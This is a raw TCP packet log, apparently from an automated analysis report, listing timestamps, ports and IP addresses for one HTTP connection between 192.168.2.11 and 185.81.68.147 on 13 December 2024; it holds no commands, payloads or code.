Dec 13, 2024 08:18:50.937203884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.937215090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.937226057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.937238932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.937251091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.937262058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.937273026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.937305927 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.937340021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.946036100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.946050882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.946144104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.946144104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.946770906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.946784019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.946858883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.946871042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.946938992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.947016001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947029114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947040081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947051048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947062969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947074890 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947087049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947098970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947110891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947122097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947197914 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.947334051 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.947844028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947874069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947886944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947947025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947972059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947979927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.947998047 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948007107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948008060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.948014975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948029995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948038101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948052883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948077917 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.948077917 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.948596954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.948786974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948811054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948829889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948844910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948862076 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948877096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948890924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948904037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948915005 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.948925972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948940992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948954105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948968887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.948997974 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.948997974 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.948997974 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.949048042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.949951887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.949973106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.949986935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950001001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950011969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950026035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950037956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950050116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950062990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950077057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950089931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950100899 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.950104952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950118065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950123072 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.950149059 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.950705051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950788975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950802088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950869083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.950869083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.950915098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950928926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950942993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950958014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950973034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.950978041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.950988054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951004028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951019049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951034069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951034069 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.951046944 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.951047897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951083899 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.951112986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.951761961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951776981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951885939 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.951900005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951915026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951929092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951942921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951956034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951961994 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.951972008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951986074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.951991081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.952001095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.952016115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.952023983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.952090025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.952090025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.952871084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.952892065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.952919006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.952934980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.952965021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.952994108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.952996969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.953007936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953023911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953026056 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.953038931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953054905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953069925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.953069925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.953084946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953099966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953130960 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.953145027 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.953877926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953895092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953908920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953922987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953937054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953949928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953963995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953978062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.953990936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.954000950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.954004049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.954020023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.954035997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:50.954049110 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.954049110 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:50.954098940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.049455881 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.049477100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.049659967 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.049988985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.050096989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.050198078 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.051307917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.051352978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.051448107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.066565990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.066590071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.066821098 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.067255974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.067395926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.067507982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.068362951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.068789959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.068886995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.068958998 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.069941998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.070081949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.070089102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.071152925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.071227074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.071289062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.072384119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.072458982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.072458982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.073554993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.073633909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.073638916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.074817896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.074891090 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.074940920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.075984001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.076056957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.076083899 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.077192068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.077275038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.077301025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.078397989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.078494072 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.078505993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.079579115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.079660892 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.079689980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.080801964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.080883026 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.080897093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.082017899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.082088947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.082140923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.083256006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.083334923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.083348989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.084439993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.084522963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.084542990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.085608006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.085700035 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.085701942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.086827040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.086904049 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.086922884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.088021040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.088090897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.088128090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.089220047 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.089286089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.089323044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.090418100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.090507984 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.090526104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.091626883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.091718912 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.091754913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.092860937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.092946053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.092957020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.094036102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.094135046 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.094139099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.095252037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.095309973 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.095354080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.096510887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.096558094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.096591949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.097644091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.097728014 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.097774982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.098850965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.098942041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.098951101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.100060940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.100140095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.100181103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.101270914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.101352930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.101388931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.102454901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.102533102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.102618933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.103842974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.103899956 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.103908062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.104891062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.104969025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.104999065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.106111050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.106213093 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.106215954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.107264996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.107331038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.107387066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.108553886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.108634949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.108640909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.109697104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.109776020 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.109805107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.110877991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.111004114 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.111013889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.112081051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.112157106 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.112210989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.113323927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.113416910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.113446951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.114537954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.114605904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.114624023 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.115727901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.115798950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.115812063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.116915941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.117017984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.117019892 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.118107080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.118190050 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.118227959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.119364023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.119425058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.119448900 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.120507002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.120601892 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.120636940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.121774912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.121855021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.121881962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.122916937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.122986078 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.123022079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.124164104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.124244928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.124257088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.125353098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.125430107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.125499964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.126539946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.126621008 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.126657963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.127731085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.127790928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.127844095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.128945112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.129039049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.129056931 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.183820963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.258533955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.258747101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.258877993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.259108067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.259195089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.259322882 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.260313034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.260381937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.260566950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.261581898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.261600971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.261763096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.262706041 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.262820005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.262978077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.263900042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.263994932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.264126062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.265069008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.265186071 CET	80	49726	185.81.68.147	192.168.2.11
